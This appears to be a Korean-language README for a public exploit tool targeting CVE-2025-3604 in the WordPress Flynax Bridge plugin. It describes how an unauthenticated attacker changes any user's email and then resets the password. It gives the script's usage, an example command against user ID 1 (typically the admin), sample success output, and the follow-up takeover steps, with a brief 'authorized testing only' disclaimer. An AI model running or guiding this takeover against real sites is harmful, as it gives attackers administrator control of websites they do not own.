🚨 Flynax Bridge <= 2.2.0 - 인증되지 않은 계정 탈취를 통한 권한 상승

📄 설명

WordPress용 Flynax Bridge 플러그인은 2.2.0을 포함한 모든 버전에서 계정 탈취를 통한 권한 상승 취약점에 노출되어 있습니다.

이는 플러그인이 사용자의 계정 정보(예: 이메일)를 업데이트하기 전에 사용자의 신원을 제대로 확인하지 않기 때문입니다. 그 결과, 인증되지 않은 공격자가 관리자를 포함한 모든 사용자의 이메일 주소를 변경한 후 비밀번호 재설정을 시작하여 계정을 완전히 탈취할 수 있습니다.

CVE: CVE-2025-3604
CVSS: 9.8 (심각)
게시일: 2025년 4월 23일
마지막 업데이트: 2025년 4월 24일

⚙️ 스크립트 출력 예제

Detected plugin version: 2.2.0
Version is vulnerable. Attempting exploit...
Exploit succeeded! Email changed to: [email protected]
Exploit By Nxploited (Khaled_alenazi) | https://github.com/Nxploited

성공적인 공격 후, 공격자는 WordPress 로그인 페이지로 이동하여 새로 설정된 이메일을 사용하여 "비밀번호를 잊으셨나요?" 링크를 클릭하여 비밀번호를 재설정하고 대상 계정에 대한 전체 액세스 권한을 얻을 수 있습니다.

🚀 사용법

usage: CVE-2025-3604.py [-h] -u URL [-mail NEWMAIL] -id USER_ID

WordPress Flynax Bridge Unauthenticated Privilege Escalation via Account # By Nxploited (Khaled Alenazi)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL
  -mail, --newmail NEWMAIL
                          New email to set
  -id, --user_id USER_ID  User ID to exploit

🧪 예제

python3 CVE-2025-3604.py -u "http://TARGET/wordpress/" -id "1" -mail "[email protected]"

설명:

-u: WordPress 사이트의 기본 URL입니다.
-id: 대상 사용자의 ID입니다 (일반적으로 관리자는 1).
-mail: 해당 사용자에 대해 설정될 새 이메일입니다.

⚠️ 면책 조항

사용자는 자신의 책임 하에 사용하십시오. 승인된 테스트 및 교육 목적으로만 사용하십시오.

🧑‍💻

작성자: Nxploited (Khaled_alenazi)

CVE-2025-3604

인기